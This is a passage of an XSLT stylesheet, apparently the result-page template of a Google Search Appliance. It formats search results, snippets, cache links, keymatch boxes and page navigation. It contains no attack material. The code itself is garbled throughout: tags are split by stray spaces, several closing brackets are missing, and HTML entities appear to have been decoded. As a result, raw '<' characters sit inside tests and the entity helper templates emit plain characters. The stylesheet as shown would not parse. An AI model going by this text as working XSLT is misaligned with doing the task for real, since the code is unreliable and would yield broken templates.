disable-output-escaping="yes" ><blockquote></xsl:text ></xsl:if >
<!-- ** Result Header ** -- >
<p >
<!-- ** Result Title (including PDF tag and hyperlink) ** -- >
<xsl:if test="$show_res_title != '0'" >
<font size="-2" ><b >
<xsl:choose >
<xsl:when test="@MIME='text/html' or @MIME='' or not(@MIME)"
</xsl:when >
<xsl:when test="@MIME='text/plain'" >[TEXT]</xsl:when >
<xsl:when test="@MIME='application/rtf'" >[RTF]</xsl:when >
<xsl:when test="@MIME='application/pdf'" >[PDF]</xsl:when >
<xsl:when test="@MIME='application/postscript'" >[PS]</xsl:when >
<xsl:when
test="@MIME='application/vnd.ms-powerpoint'" >[MS
POWERPOINT]</xsl:when >
<xsl:when test="@MIME='application/vnd.ms-excel'" >[MS EXCEL]</xsl:when
<xsl:when test="@MIME='application/msword'" >[MS WORD]</xsl:when >
<xsl:otherwise >
<xsl:variable name="extension" >
<xsl:call-template name="last_substring_after" >
<xsl:with-param name="string" select="substring-after(
substring-after(U,'://'),
'/')"/ >
<xsl:with-param name="separator" select="'.'"/ >
<xsl:with-param name="fallback" select="'UNKNOWN'"/ >
</xsl:call-template >
</xsl:variable >
[<xsl:value-of select="translate($extension,$lower,$upper)"/ >]
</xsl:otherwise >
</xsl:choose >
</b ></font >
<xsl:text > </xsl:text >
<xsl:if test="not(starts-with($stripped_url, 'noindex!/'))" >
<xsl:text disable-output-escaping='yes' ><a href="</xsl:text
><xsl:value-of disable-output-escaping='yes' select="U"
/ ><xsl:text disable-output-escaping='yes' >"></xsl:text >
</xsl:if >
<span class="l" >
<xsl:choose >
<xsl:when test="T" >
<xsl:call-template name="reformat_keyword" >
<xsl:with-param name="orig_string" select="T"/ >
</xsl:call-template >
</xsl:when >
<xsl:otherwise ><xsl:value-of select="$stripped_url"/ ></xsl:otherwise
</xsl:choose >
</span >
<xsl:if test="not(starts-with($stripped_url, 'noindex!/'))" >
<xsl:text disable-output-escaping='yes' ></a></xsl:text >
</xsl:if >
</xsl:if >
<!-- ** Snippet ** -- >
<xsl:if test="$show_res_snippet != '0'" >
<br/ >
<span class="s" >
<xsl:call-template name="reformat_keyword" >
<xsl:with-param name="orig_string" select="S"/ >
</xsl:call-template >
</span >
</xsl:if >
<!-- ** Description ** -- >
<xsl:if test="$show_res_description != '0'" >
<xsl:apply-templates select="HAS/DI/DS"/ >
</xsl:if >
<!-- ** URL ** -- >
<br/ >
<font color="{$res_url_color}" size="{$res_url_size}" >
<xsl:choose >
<xsl:when test="starts-with($stripped_url, 'noindex!/')" >
<xsl:if test="($show_res_size!='0') or
($show_res_date!='0') or
($show_res_cache!='0')" >
<xsl:text >Not Indexed: </xsl:text >
<xsl:value-of select="substring($stripped_url, 10)"/ >
</xsl:if >
</xsl:when >
<xsl:otherwise >
<xsl:if test="$show_res_url != '0'" >
<xsl:value-of select="$stripped_url"/ >
</xsl:if >
</xsl:otherwise >
</xsl:choose >
</font >
<!-- ** Miscellaneous (- size - date - cache) ** -- >
<xsl:if test="not(starts-with($stripped_url, 'noindex!/'))" >
<xsl:apply-templates select="HAS/C" >
<xsl:with-param name="full_url" select="$full_url"/ >
<xsl:with-param name="query" select="$query"/ >
<xsl:with-param name="mime" select="@MIME"/ >
<xsl:with-param name="date" select="FS[@NAME='date']/@VALUE"/ >
</xsl:apply-templates >
</xsl:if >
<!-- ** Link to more links from this site ** -- >
<xsl:if test="HN" >
<br/ >
[
<a class="f" href="/search?as_sitesearch={$crowded_url}&{
$search_url}" >More results from <xsl:value-of
select="$crowded_display_url"/ ></a >
]
</xsl:if >
<!-- ** Result Footer ** -- >
</p >
<!-- ** End indenting as required (only supports 2 levels) ** -- >
<xsl:if test="@L='2'" ><xsl:text
disable-output-escaping="yes" ></blockquote></xsl:text >
</xsl:if >
< /xsl:template >
< !-- ***********************************
A single keymatch result (do not customize)
*********************************** -- >
< xsl:template match="GM" >
<p >
<table cellpadding="4" cellspacing="0" border="0" height="40"
width="100%" >
<tr >
<td nowrap="0" bgcolor="{$keymatch_bg_color}" height="40" >
<a href="{GL}" >
<xsl:value-of select="GD"/ >
</a >
<br/ >
<font size="-1" color="{$res_url_color}" >
<span class="a" >
<xsl:value-of select="GL"/ >
</span >
</font >
</td >
<td bgcolor="{$keymatch_bg_color}" height="40"
align="right" valign="top" >
<b >
<font size="-1" color="{$keymatch_text_color}" >
<xsl:value-of select="$keymatch_text"/ >
</font >
</b >
</td >
</tr >
</table >
</p >
< /xsl:template >
< !-- ***********************************
Variables for reformatting keyword-match display (do not customize)
*********************************** -- >
< xsl:variable name="keyword_orig_start" select="'<b>'"/ >
< xsl:variable name="keyword_orig_end" select="'</b>'"/ >
< xsl:variable name="keyword_reformat_start" >
<xsl:if test="$res_keyword_format" >
<xsl:text ><</xsl:text >
<xsl:value-of select="$res_keyword_format"/ >
<xsl:text >></xsl:text >
</xsl:if >
<xsl:if test="($res_keyword_size) or ($res_keyword_color)" >
<xsl:text ><font</xsl:text >
<xsl:if test="$res_keyword_size" >
<xsl:text > size="</xsl:text >
<xsl:value-of select="$res_keyword_size"/ >
<xsl:text >"</xsl:text >
</xsl:if >
<xsl:if test="$res_keyword_color" >
<xsl:text > color="</xsl:text >
<xsl:value-of select="$res_keyword_color"/ >
<xsl:text >"</xsl:text >
</xsl:if >
<xsl:text >></xsl:text >
</xsl:if >
< /xsl:variable >
< xsl:variable name="keyword_reformat_end" >
<xsl:if test="($res_keyword_size) or ($res_keyword_color)" >
<xsl:text ></font></xsl:text >
</xsl:if >
<xsl:if test="$res_keyword_format" >
<xsl:text ></</xsl:text >
<xsl:value-of select="$res_keyword_format"/ >
<xsl:text >></xsl:text >
</xsl:if >
< /xsl:variable >
< !-- ***********************************
Reformat the keyword match display in a title/snippet string
(do not customize)
*********************************** -- >
< xsl:template name="reformat_keyword" >
<xsl:param name="orig_string"/ >
<xsl:variable name="reformatted_1" >
<xsl:call-template name="replace_string" >
<xsl:with-param name="find" select="$keyword_orig_start"/ >
<xsl:with-param name="replace" select="$keyword_reformat_start"/ >
<xsl:with-param name="string" select="$orig_string"/ >
</xsl:call-template >
</xsl:variable >
<xsl:variable name="reformatted_2" >
<xsl:call-template name="replace_string" >
<xsl:with-param name="find" select="$keyword_orig_end"/ >
<xsl:with-param name="replace" select="$keyword_reformat_end"/ >
<xsl:with-param name="string" select="$reformatted_1"/ >
</xsl:call-template >
</xsl:variable >
<xsl:value-of disable-output-escaping='yes' select="$reformatted_2"/ >
< /xsl:template >
< !-- ***********************************
Helper templates for generating a result item (do not customize)
*********************************** -- >
< !-- ** Description ** -- >
< xsl:template match="DS" >
<br/ >
<font size="-1" >
<span class="f" >Description: </span ><xsl:value-of
disable-output-escaping='yes' select="."/ >
</font >
< /xsl:template >
< !-- ** Miscellaneous: - size - date - cache ** -- >
< xsl:template match="C" >
<xsl:param name="full_url"/ >
<xsl:param name="query"/ >
<xsl:param name="mime"/ >
<xsl:param name="date"/ >
<xsl:variable name="docid" ><xsl:value-of select="@CID"/ ></xsl:variable
<xsl:if test="$show_res_size != '0'" >
<xsl:if test="not(@SZ='')" >
<font size="-1" >
<xsl:text > - </xsl:text >
<xsl:value-of select="@SZ"/ >
</font >
</xsl:if >
</xsl:if >
<xsl:if test="$show_res_date != '0'" >
<xsl:if test="($date != '') and
(translate($date, '-', '') > 19500000) and
(translate($date, '-', '') < 21000000)" >
<font size="-1" >
<xsl:text > - </xsl:text >
<xsl:value-of select="$date"/ >
</font >
</xsl:if >
</xsl:if >
<xsl:if test="$show_res_cache != '0'" >
<xsl:text > - </xsl:text >
<a class="f" href="/search?q=cache:{$docid}{$full_url}+{
$stripped_search_query}&{$base_url}" >
<xsl:choose >
<xsl:when test="not($mime)" >Cached</xsl:when >
<xsl:when test="$mime='text/html'" >Cached</xsl:when >
<xsl:when test="$mime='text/plain'" >Cached</xsl:when >
<xsl:otherwise >Text Version</xsl:otherwise >
</xsl:choose >
</a >
</xsl:if >
< /xsl:template >
< !-- ***********************************
Google navigation bar in result page (do not customize)
*********************************** -- >
< xsl:template name="google_navigation" >
<xsl:param name="prev"/ >
<xsl:param name="next"/ >
<xsl:param name="view_begin"/ >
<xsl:param name="view_end"/ >
<xsl:param name="guess"/ >
<xsl:param name="navigation_style"/ >
<xsl:variable name="fontclass" >
<xsl:choose >
<xsl:when test="$navigation_style = 'top'" >s</xsl:when >
<xsl:otherwise >b</xsl:otherwise >
</xsl:choose >
</xsl:variable >
<!-- ** Test to see if we should even show navigation ** -- >
<xsl:if test="($prev) or ($next)" >
<!-- ** Start Google result navigation bar ** -- >
<xsl:if test="$navigation_style != 'top'" >
<xsl:text disable-output-escaping="yes" ><center>
<div class="n"></xsl:text >
</xsl:if >
<table border="0" cellpadding="0" width="1%" cellspacing="0" >
<tr align="center" valign="top" >
<xsl:if test="$navigation_style != 'top'" >
<td valign="bottom" nowrap="1" >
<font size="-1" >
Result<xsl:call-template name="nbsp"
/ >Page:<xsl:call-template name="nbsp"/ >
</font >
</td >
</xsl:if >
<!-- ** Show previous navigation, if available ** -- >
<xsl:choose >
<xsl:when test="$prev" >
<td >
<span class="{$fontclass}" >
<a href="/search?{$search_url}&start={$view_begin -
$num_results - 1}" >
<xsl:if test="$navigation_style = 'google'" >
<img src="/nav_previous.gif" width="68" height="26"
alt="" border="0"/ >
<br/ >
</xsl:if >
<xsl:if test="$navigation_style = 'top'" >
<xsl:text ><</xsl:text >
</xsl:if >
<xsl:text >Previous</xsl:text >
</a >
</span >
<xsl:if test="$navigation_style != 'google'" >
<xsl:call-template name="nbsp"/ >
</xsl:if >
</td >
</xsl:when >
<xsl:otherwise >
<td >
<xsl:if test="$navigation_style = 'google'" >
<img src="/nav_first.gif" width="18" height="26"
alt="" border="0"/ >
<br/ >
</xsl:if >
</td >
</xsl:otherwise >
</xsl:choose >
<xsl:if test="($navigation_style = 'google') or
($navigation_style = 'link')" >
<!-- ** Google result set navigation ** -- >
<xsl:variable name="mod_end" >
<xsl:choose >
<xsl:when test="$next" ><xsl:value-of select="$guess"/ ></xsl:when >
<xsl:otherwise ><xsl:value-of select="$view_end"/ ></xsl:otherwise >
</xsl:choose >
</xsl:variable >
<xsl:call-template name="result_nav" >
<xsl:with-param name="start" select="0"/ >
<xsl:with-param name="end" select="$mod_end"/ >
<xsl:with-param name="current_view" select="($view_begin)-1"/ >
<xsl:with-param name="navigation_style" select="$navigation_style"/ >
</xsl:call-template >
</xsl:if >
<!-- ** Show next navigation, if available ** -- >
<xsl:choose >
<xsl:when test="$next" >
<td nowrap="1" >
<xsl:if test="$navigation_style != 'google'" >
<xsl:call-template name="nbsp"/ >
</xsl:if >
<span class="{$fontclass}" >
<a href="/search?{$search_url}&start={$view_begin +
$num_results - 1}" >
<xsl:if test="$navigation_style = 'google'" >
<img src="/nav_next.gif" width="100" height="26"
alt="" border="0"/ >
<br/ >
</xsl:if >
<xsl:text >Next</xsl:text >
<xsl:if test="$navigation_style = 'top'" >
<xsl:text >></xsl:text >
</xsl:if >
</a >
</span >
</td >
</xsl:when >
<xsl:otherwise >
<td nowrap="1" >
<xsl:if test="$navigation_style != 'google'" >
<xsl:call-template name="nbsp"/ >
</xsl:if >
<xsl:if test="$navigation_style = 'google'" >
<img src="/nav_last.gif" width="46" height="26"
alt="" border="0"/ >
<br/ >
</xsl:if >
</td >
</xsl:otherwise >
</xsl:choose >
<!-- ** End Google result bar ** -- >
</tr >
</table >
<xsl:if test="$navigation_style != 'top'" >
<xsl:text disable-output-escaping="yes" ></div>
</center></xsl:text >
</xsl:if >
</xsl:if >
< /xsl:template >
< !-- ***********************************
Helper templates for generating Google result navigation (do not
customize)
only shows 10 sets up or down from current view
*********************************** -- >
< xsl:template name="result_nav" >
<xsl:param name="start" select="'0'"/ >
<xsl:param name="end"/ >
<xsl:param name="current_view"/ >
<xsl:param name="navigation_style"/ >
<!-- ** Choose how to show this result set ** -- >
<xsl:choose >
<xsl:when test="($start)<(($current_view)-(10*($num_results)))" >
</xsl:when >
<xsl:when test="(($current_view)>=($start)) and
(($current_view)<(($start)+($num_results)))" >
<td >
<xsl:if test="$navigation_style = 'google'" >
<img src="/nav_current.gif" width="16" height="26" alt=""/ >
<br/ >
</xsl:if >
<xsl:if test="$navigation_style = 'link'" >
<xsl:call-template name="nbsp"/ >
</xsl:if >
<span class="i" ><xsl:value-of
select="(($start)div($num_results))+1"/ ></span >
<xsl:if test="$navigation_style = 'link'" >
<xsl:call-template name="nbsp"/ >
</xsl:if >
</td >
</xsl:when >
<xsl:otherwise >
<td >
<xsl:if test="$navigation_style = 'link'" >
<xsl:call-template name="nbsp"/ >
</xsl:if >
<a href="/search?{$search_url}&start={$start}" >
<xsl:if test="$navigation_style = 'google'" >
<img src="/nav_page.gif" width="16" height="26" alt="" border="0"/ >
<br/ >
</xsl:if >
<xsl:value-of select="(($start)div($num_results))+1"/ >
</a >
<xsl:if test="$navigation_style = 'link'" >
<xsl:call-template name="nbsp"/ >
</xsl:if >
</td >
</xsl:otherwise >
</xsl:choose >
<!-- ** Recursively iterate through result sets to display ** -- >
<xsl:if test="((($start)+($num_results))<($end)) and
((($start)+($num_results))<(($current_view)+
(10*($num_results))))" >
<xsl:call-template name="result_nav" >
<xsl:with-param name="start" select="$start+$num_results"/ >
<xsl:with-param name="end" select="$end"/ >
<xsl:with-param name="current_view" select="$current_view"/ >
<xsl:with-param name="navigation_style" select="$navigation_style"/ >
</xsl:call-template >
</xsl:if >
< /xsl:template >
< !-- ***********************************
Top separation bar (do not customize)
*********************************** -- >
< xsl:template name="top_sep_bar" >
<xsl:param name="query"/ >
<xsl:param name="time"/ >
<table width="100%" cellpadding="2" cellspacing="0" border="0" >
<tr >
<td class="t" nowrap="1" >
<xsl:if test="$show_search_info != '0'" >
<font size="-1" >
Searched for
<b ><font color="{$sep_bar_text_color}" >
<xsl:value-of disable-output-escaping="yes"
select="$html_escaped_query"/ ></font >
</b >.
</font >
</xsl:if >
<font size="-6" ><xsl:call-template name="nbsp"/ ></font >
</td >
<td class="t" align="right" nowrap="1" >
<xsl:if test="$show_search_info != '0'" >
<font size="-1" >
<xsl:if test="count(/GSP/RES/R) >0 " >
Results
<b ><xsl:value-of select="RES/@SN"/ > - <xsl:value-of
select="RES/@EN"/ ></b >
<xsl:if test="$access = 'p'" >
of about <b ><xsl:value-of select="RES/M"/ ></b >
</xsl:if >.
</xsl:if >
Search took
<b ><xsl:value-of
select="round($time * 100.0) div 100.0"/ ></b > seconds.
</font >
</xsl:if >
</td >
</tr >
</table >
<hr class="z"/ >
< /xsl:template >
< !-- ***********************************
Utility function for constructing copyright text (do not customize)
*********************************** -- >
< xsl:template name="copyright" >
<center >
<br/ ><br/ >
<p >
<font face="arial,sans-serif" size="-1" color="#2f2f2f" >
Powered by Google</font >
</p >
</center >
< /xsl:template >
< !-- ***********************************
Utility functions for generating html entities
*********************************** -- >
< xsl:template name="nbsp" >
<xsl:text disable-output-escaping="yes" > </xsl:text >
< /xsl:template >
< xsl:template name="nbsp3" >
<xsl:call-template name="nbsp"/ >
<xsl:call-template name="nbsp"/ >
<xsl:call-template name="nbsp"/ >
< /xsl:template >
< xsl:template name="nbsp4" >
<xsl:call-template name="nbsp3"/ >
<xsl:call-template name="nbsp"/ >
< /xsl:template >
< xsl:template name="quot" >
<xsl:text disable-output-escaping="yes" >"</xsl:text >
< /xsl:template >
< xsl:template name="copy" >
<xsl:text disable-output-escaping="yes" >©</xsl:text >
< /xsl:template >
< !-- ***********************************
Utility functions for generating head elements so that the XSLT processor
won't add a meta tag to the output, since it may specify the wrong
encoding (utf8) in the meta tag.
*********************************** -- >
< xsl:template name="plainHeadStart" >
<xsl:text disable-output-escaping="yes" ><head></xsl:text >
<xsl:text >
</xsl:text >
< /xsl:template >
< xsl:template name="plainHeadEnd" >
<xsl:text disable-output-escaping="yes" ></head></xsl:text >
<xsl:text >
</xsl:text >
< /xsl:template >
< !-- ***********************************
Utility functions for generating head elements with a meta tag to the
output
specifying the character set as requested
*********************************** -- >
< xsl:template name="langHeadStart" >
<xsl:text disable-output-escaping="yes" ><head></xsl:text >
<xsl